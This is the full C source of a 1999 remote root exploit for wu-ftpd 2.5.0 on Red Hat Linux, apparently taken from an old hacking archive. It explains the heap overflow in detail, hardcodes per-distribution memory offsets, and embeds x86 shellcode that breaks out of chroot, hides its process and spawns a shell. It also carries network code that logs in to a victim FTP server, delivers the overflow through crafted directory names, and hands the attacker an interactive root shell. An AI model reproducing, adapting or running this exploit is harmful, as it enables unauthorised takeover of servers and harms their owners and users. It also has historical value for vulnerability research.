home *** CD-ROM | disk | FTP | other *** search
- /*
- * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
- * chaos that follows a heap overflow. Linux version.
- *
- * C0ded by nuuB [Sep 19, 1999]
- *
- * Compile with:
- *
- * cc wuftpd250-sploit.c -o wuftpd250-sploit
- *
- * Credits:
- * typo for interesting discussions and the double combo idea.
- * edi for the 'eip in PASS' idea.
- * lcamtuf for finding the bug and posting on bugtraq.
- * temas for a RH6 box to test this on.
- *
- * Quote:
- *
- * "<typo_> it's wicked... but you can change errcatch and LastArgv at the
- * same time, thus doing an elite combo and owning the entire world"
- *
- * Below is a detailed description of how the exploit works. You shouldn't
- * have too much trouble understanding what is going on. The code is written
- * for readability and roboustness (i.e not using the 'printf()|nc' style).
- *
- * Have fun, but as always - BEHAVE!
- *
- * /nuuB
- */
-
- /*
- * Overflow:
- *
- * cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
- *
- * Pseudo call sequence for each received FTP command:
- *
- * if(command_not_implemented) longjmp(errcatch);
- * setproctitle("<who>: <command>");
- * do_<command>();
- * setproctitle("<who>: IDLE");
- *
- * where
- *
- * setproctitle(<string>) {
- * copy <string> to Argv[0] and pad with spaces to LastArgv;
- * }
- *
- * Egg:
- *
- * /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
- * ^- 0 ^- mp_size-255-256 ^- mp_size
- *
- * Pad: A--A=padding/NOP
- * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
- * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
- *
- * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
- *
- * We can't get eip directly, but as setproctitle() copies data we have some
- * control over to the area between Argv[0] and LastArgv we can do some neat
- * stuff. There are several ways to do it, but this exploit uses the three
- * different methods outlined below.
- *
- * Anon attack:
- *
- * We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
- * eip can be snagged in different ways. One way is to overwrite the return
- * address on the stack for setproctitle(), essentially turning the heap
- * overflow into a stack overflow. The nature of the exploit forces us to
- * know the exact place on the stack, and this varies with the environment.
- * Thus this method is very unreliable, but is still included as we do
- * this for fun :) A better way is to overwrite the JB_PC part of errcatch
- * and then cause errcatch to be called by issuing an unimplemented command.
- * Still, we need two offsets, but both are on the heap. As a bonus
- * this method can't be stopped by Stack Guard or non-executable stacks.
- *
- * Required offsets: mapped_path, setproctitle() stack eip / errcatch.
- *
- * Account attack:
- *
- * There is no controllable data in the setproctitle("IDLE") call so we use
- * two CWD's and make use of the setproctitle("CWD") calls. The first CWD
- * will set the Argv stuff so the second CWD (with our eip) gets written
- * where we want. The second CWD will have to change the Argv's so that
- * we don't destroy the eip when the final setproctitle("IDLE") call comes.
- * In this case we can't write eip to the stack as it will be hosed before
- * we get a chance to use it. This method works for anonymous too and is
- * unstoppable by Stack Guard etc.
- *
- * Required offsets: mapped_path, errcatch.
- *
- * Interesting finding:
- *
- * When trying to CWD <overflowing component> you get a 250 reply under
- * RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
- * the source for wuftpd is the same in both cases. This probably has to do
- * with the different kernel/libc's and how they handle long paths. Anyhow,
- * this needs to be taken into account in the double combo attack.
- *
- * Offsets:
- *
- * The above methods require two offsets to be known exactly. This gives
- * us a lot of combinations to try. The amount could possibly be reduced
- * a bit using more eip pointers, but as mapped_path has to be known
- * the number of combinations is bigger than I think is practical. Thus
- * there is no option to enter offsets from the command line.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <errno.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <signal.h>
- #include <ctype.h>
-
- extern int errno;
-
- /* Offsets that must be known (exactly) */
- int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
- unsigned long mapped_path;
- unsigned long eip_addr;
-
- /* Values we want to set the corresponding variables to. Calculated from the
- * above offsets.
- */
- unsigned long c0de_addr;
- unsigned long owned_Argv0;
- unsigned long owned_Argv;
- unsigned long owned_LastArgv;
-
- #define TOP_OF_STACK 0xc0000000
-
- /* Variable that decides if mkd_cwd() aborts on errors or not */
- int mkd_cwd_bail_on_error=1;
-
- /* Lets start collecting offsets... */
-
- struct preset
- {
- char *desc;
- void (*attack)();
- int mpsize;
- unsigned long mp;
- unsigned long eip_addr;
- };
-
- void attack_anon();
- void attack_any();
-
- /* Offsets can be found using gdb, objdump or ltrace */
-
- struct preset presets[]=
- {
- {"eip RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
- attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4
- },
-
- {"ljmp RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999",
- attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
- {"ljmp RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999",
- attack_anon, 1024, 0x08067504, 0x08070930+5*4},
- {"ljmp RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999",
- attack_anon, 4096, 0x08067780, 0x08075520+5*4},
- {"ljmp RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
- attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},
-
- {"2x RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999",
- attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
- {"2x RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999",
- attack_any, 1024, 0x08067504, 0x08070930+5*4},
- {"2x RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999",
- attack_any, 4096, 0x08067780, 0x08075520+5*4},
- {"2x RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
- attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},
-
- {0,0,0,0,0}
- };
-
-
- /* Some stuff we need */
-
- int ctrl;
- int verbose;
- char *local_hostname;
-
- char *target_host;
- int target_port;
- char *target_user=0;
- char *target_pass=0;
- char *target_dir=0;
-
- /*
- * This c0de breaks out of chroot() and then goes through a lot of trouble
- * to hide the process from the system operator. Finally a shell is spawned.
- *
- * c0de:
- *
- * setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
- * chroot("."); hide_process(); execve("/bin/sh");
- *
- * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
- */
-
- /* Not optimized for space as we got plenty of room */
-
- #define C0DE_SIZE 402
-
- char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
- "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
- "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
- "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
- "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
- "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
- "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
- "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
- "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
- "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
- "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
- "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
- "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
- "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
- "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
- "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
- "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
- "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
- "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
- "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
- "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
- "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
- "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
- "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
- "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
- "\xeb\x81";
-
- void usage()
- {
- int i;
-
- printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
- "Usage: wuftpd250-sploit <target> <type>\n\n"
- "<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"
-
- "Type Neeq Distro RPM Banner date\n"
- "---- ---- ------ ------------------------------- ----------------------------\n");
-
- for(i=0; presets[i].desc; ++i)
- {
- if(presets[i].mpsize)
- printf("%2d) %s\n", i, presets[i].desc);
- }
-
- printf("\n"
- " eip = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
- " ljmp = errcatch JB_PC overwrite (heap, anonymous only)\n"
- " 2x = errcatch JB_PC overwrite using 2x combo (heap)\n");
- exit(0);
- }
-
-
- void parse_url(char *url)
- {
- char *u, *s;
-
- u=strdup(url);
- if((s=strrchr(u, '@')))
- {
- *s++=0;
- target_user=u;
- u=s;
- if(!(s=strchr(target_user, ':'))) usage();
- *s++=0;
- target_pass=s;
- }
- target_host=u;
- if((u=strchr(u, '/')))
- {
- target_dir=strdup(u);
- *u=0;
- }
- if((s=strchr(target_host, ':')))
- {
- *s++=0;
- if(!isdigit(*s)) usage();
- target_port=atoi(s);
- }
- else
- target_port=21;
- }
-
-
- void baile(char *s)
- {
- printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
- exit(1);
- }
-
-
- void bail(char *s)
- {
- printf("*** %s\n", s);
- exit(1);
- }
-
-
- /* Should work on all platforms */
-
- char *htol_LEstr(unsigned long num)
- {
- static unsigned char buf[5];
- unsigned long n;
-
- n=htonl(num);
- buf[0]=(n>>24)&0xff;
- buf[1]=(n>>16)&0xff;
- buf[2]=(n>>8)&0xff;
- buf[3]=n&0xff;
- buf[4]=0;
-
- if(strlen(buf) != 4 ||
- strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/'))
- {
- printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
- bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
- }
- return buf;
- }
-
-
- int connect_host()
- {
- char *p;
- int fd;
- struct sockaddr_in target, me;
- struct hostent *he;
- int me_len;
-
- /* Connect to victim */
- memset(&target, 0, sizeof(struct sockaddr_in));
- target.sin_family=AF_INET;
- if(!inet_aton(target_host, &target.sin_addr))
- {
- if(!(he=gethostbyname(target_host)))
- baile("Unable to resolve victim hostname.");
- memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
- }
- target.sin_port=htons(target_port);
- if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
- if(connect(fd, &target, sizeof(target))) baile("connect() failed");
-
- /* Get local hostname */
- me_len=sizeof(me);
- if(getsockname(fd, &me, &me_len))
- baile("Unable to determine local hostname!");
- if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
- local_hostname=strdup(he->h_name);
- else if((p=inet_ntoa(me.sin_addr)))
- {
- strcpy(local_hostname, p);
- }
- else
- baile("Unable to determine local hostname!");
-
- printf("*** Local hostname: %s\n", local_hostname);
- return fd;
- }
-
-
- char *get_response_str()
- {
- static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
- char *p;
-
- p=buf;
- while(read(ctrl, p, 1) == 1)
- {
- if(*p == '\r')
- {
- *p++=0;
- while(read(ctrl, p, 1) == 1 && *p != '\n')
- ;
- if(buf[3] == ' ')
- {
- if(verbose == 1)
- printf("%4.4s\n", buf);
- else if(verbose >= 2)
- printf("%s\n", buf);
-
- return buf;
- }
- p=buf;
- continue;
- }
- ++p;
- }
- bail("Server disconnected.");
- return 0; /* Never reached */
- }
-
-
- int get_response()
- {
- char *s;
-
- s=get_response_str();
- if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
- bail("Illegal response from server.");
- return atoi(s);
- }
-
-
- void send_command(unsigned char *cmd)
- {
- if(verbose == 1) printf("--> %4.4s\n", cmd);
- if(verbose >= 2) printf("--> %s\n", cmd);
- while(*cmd)
- {
- if(write(ctrl, cmd, 1) != 1) baile("write failed");
- if(*cmd == 0xff) /* 0xff -> IAC IAC */
- if(write(ctrl, cmd, 1) != 1) baile("write failed");
- ++cmd;
- }
- if(write(ctrl, "\r\n", 2) != 2)
- baile("write failed");
- }
-
-
- int mkd_cwd(char *dir)
- {
- char buf[1024];
- int r;
-
- sprintf(buf, "MKD %s", dir);
- send_command(buf);
- r=get_response();
- if(r != 257 && r != 521)
- {
- printf("*** Failed to create dir (reply=%d)\n", r);
- bail("Aborting.");
- }
- sprintf(buf, "CWD %s", dir);
- send_command(buf);
- r=get_response();
- if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
- return r;
- }
-
-
- /* update_buffer() + shovel_data() moves data between the shell and the
- * local terminal.
- */
-
- #define BUFSIZE 128
-
- int update_buffer(char *buf, int *idx, int thisone, int direction)
- {
- if(thisone < 0)
- {
- if(errno == EINTR || errno == EWOULDBLOCK)
- return 0;
- return 1;
- }
- if(!thisone)
- return 1;
- if(direction < 0)
- {
- if(thisone < *idx)
- memmove(buf, &buf[thisone], *idx-thisone);
- *idx-=thisone;
- }
- else
- *idx+=thisone;
- return 0;
- }
-
-
- void shovel_data(int netfd)
- {
- fd_set R,W;
- char obuf[BUFSIZE], ibuf[BUFSIZE];
- int o, i;
- int done;
-
- fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
- fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
- fcntl(netfd, F_SETFL, O_NONBLOCK);
-
- o=i=done=0;
- while(!done)
- {
- FD_ZERO(&R);
- FD_ZERO(&W);
- if(i > 0) FD_SET(STDOUT_FILENO, &W);
- if(i < BUFSIZE) FD_SET(netfd, &R);
- if(o > 0) FD_SET(netfd, &W);
- if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
-
- select(netfd+1, &R, &W, 0, 0);
-
- if(FD_ISSET(STDOUT_FILENO, &W))
- done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
- if(FD_ISSET(netfd, &W))
- done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
- if(FD_ISSET(STDIN_FILENO, &R))
- done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
- if(FD_ISSET(netfd, &R))
- done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
- }
- }
-
-
- /* Do the stuff common to the attacks */
-
- int do_prologue()
- {
- char buf[1024];
- char *s, *t;
- int pos;
-
- verbose=2;
- mkd_cwd_bail_on_error=1;
-
- if(get_response() != 220) bail("No welcome banner.");
- sprintf(buf, "USER %s", target_user);
- send_command(buf);
- if(get_response() != 331) bail("USER failed.");
- sprintf(buf, "PASS %s", target_pass);
- send_command(buf);
- if(get_response() != 230) bail("PASS failed.");
- if(target_dir)
- {
- sprintf(buf, "CWD %s", target_dir);
- send_command(buf);
- if(get_response() != 250) bail("CWD <writable dir> failed.");
- }
- send_command("PWD");
- s=get_response_str();
- if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
- bail("Unable to get current directory.");
-
- /* Pos is how much of mapped_path is used so far (excluding NULL) */
- pos=(t-(s+5));
-
- printf("*** Creating deep directory. This may take some time...\n");
- verbose=0;
-
- /* Align to 256 bytes (excluding trailing /) */
- memset(buf, 'A', sizeof(buf));
- buf[256-(pos+1)]=0;
- mkd_cwd(buf);
- pos+=1+strlen(buf);
-
- /* Keep going */
- memset(buf, 'A', sizeof(buf));
- buf[255]=0;
- while(pos+255 < mapped_path_size-256*2)
- {
- mkd_cwd(buf);
- pos+=1+strlen(buf);
- }
-
- printf("*** Time to bring out the c0de...\n"
- "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
- verbose=1;
-
- /* alarm(0) B} */
- /* c0de[131]=c0de[132]=c0de[255]; */
-
- /* First part of the code */
- strncpy(buf, c0de, 255);
- buf[255]=0;
- mkd_cwd(buf);
- pos+=1+255;
-
- /* Second part + pad */
- memset(buf, 'A', sizeof(buf));
- strncpy(buf, c0de+256, C0DE_SIZE-256);
- buf[255-12-1]=0;
- mkd_cwd(buf);
- pos+=1+strlen(buf);
-
- /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */
-
- return pos;
- }
-
-
- void attack_anon()
- {
- char buf[1024];
- int pos;
-
- if(target_user || target_pass)
- bail("Sorry, this type only works for anonymous FTP...");
-
- printf("*** Logging in as anonymous.\n");
-
- ctrl=connect_host();
-
- /* Calculate offsets */
- c0de_addr=mapped_path+mapped_path_size-255-256;
- owned_Argv=mapped_path+mapped_path_size-8;
- owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
- /* "ftpd: <host>: anonymous/" */
- owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);
-
- target_user="anonymous";
- sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
- target_pass=buf;
-
- pos=do_prologue();
-
- /* This last block starts at mapped_path[mapped_path_size-12] */
- memset(buf, 'A', sizeof(buf));
- /* Skip eeee for this method */
- strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
- /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
- strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
- strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
- pos+=1+strlen(buf);
-
- printf("*** Total egg size is %d. Sending final component.\n", pos);
- mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
- mkd_cwd(buf);
- printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
- "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
- /* Cause longjmp(errcatch) - only needed for the errcatch method */
- write(ctrl, "MRCP\r\n", 6);
- }
-
-
- void attack_any()
- {
- char buf[1024];
- int pos;
- int prefixlen;
-
- if(!target_user || !target_pass)
- {
- target_user="anonymous";
- target_pass="cr@ck.er";
- printf("*** Logging in as anonymous.\n");
- }
-
- ctrl=connect_host();
-
- /* Calculate offsets */
- c0de_addr=mapped_path+mapped_path_size-255-256;
- owned_Argv=mapped_path+mapped_path_size-8;
- /* "ftpd: <host>: <user>: CWD " */
- prefixlen=14+strlen(local_hostname)+strlen(target_user);
-
- /* 'anonymous/' pass */
- if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
- prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
-
- pos=do_prologue();
-
- /* First CWD */
- owned_Argv0=eip_addr-prefixlen;
- owned_Argv=mapped_path+mapped_path_size-8;
- owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
-
- memset(buf, 'A', sizeof(buf));
- strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
- strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
- strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
- pos+=1+strlen(buf);
- printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
- verbose=1;
- printf("*** Round-house kick.\n");
-
- mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
- if(mkd_cwd(buf) == 250)
- {
- send_command("CWD .."); /* Back up if the chdir() was successful */
- get_response();
- }
-
- /* Second CWD.
- *
- * Borrow some room near TOP_OF_STACK ("free space") as a safe place for
- * the remaining times setproctitle() is called.
- */
- owned_Argv0=TOP_OF_STACK-8;
- owned_LastArgv=TOP_OF_STACK-1;
-
- strncpy(buf, htol_LEstr(c0de_addr), 4);
- strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
- strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
-
- printf("*** Elite-airborne-double-kick-to-the-head as featured in "
- "The Matrix.\n");
- mkd_cwd(buf);
-
- printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
- write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */
- }
-
-
- int main(int argc, char *argv[])
- {
- int i;
-
- if(argc != 3 || !isdigit(*argv[2])) usage();
-
- parse_url(argv[1]);
-
- /* Find the preset */
- for(i=0; presets[i].desc; ++i)
- {
- if(i==atoi(argv[2]))
- break;
- }
- if(!presets[i].mpsize) bail("No such target type.");
-
- mapped_path_size=presets[i].mpsize;
- mapped_path=presets[i].mp;
- eip_addr=presets[i].eip_addr;
-
- (presets[i].attack)();
-
- signal(SIGINT, SIG_IGN); /* Get rid of accidental ctrl-C */
- write(ctrl, "id\n", 3); /* assert(0wnage) */
- shovel_data(ctrl);
- write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */
-
- printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
- return 0;
- }
- /* www.hack.co.za [2000]*/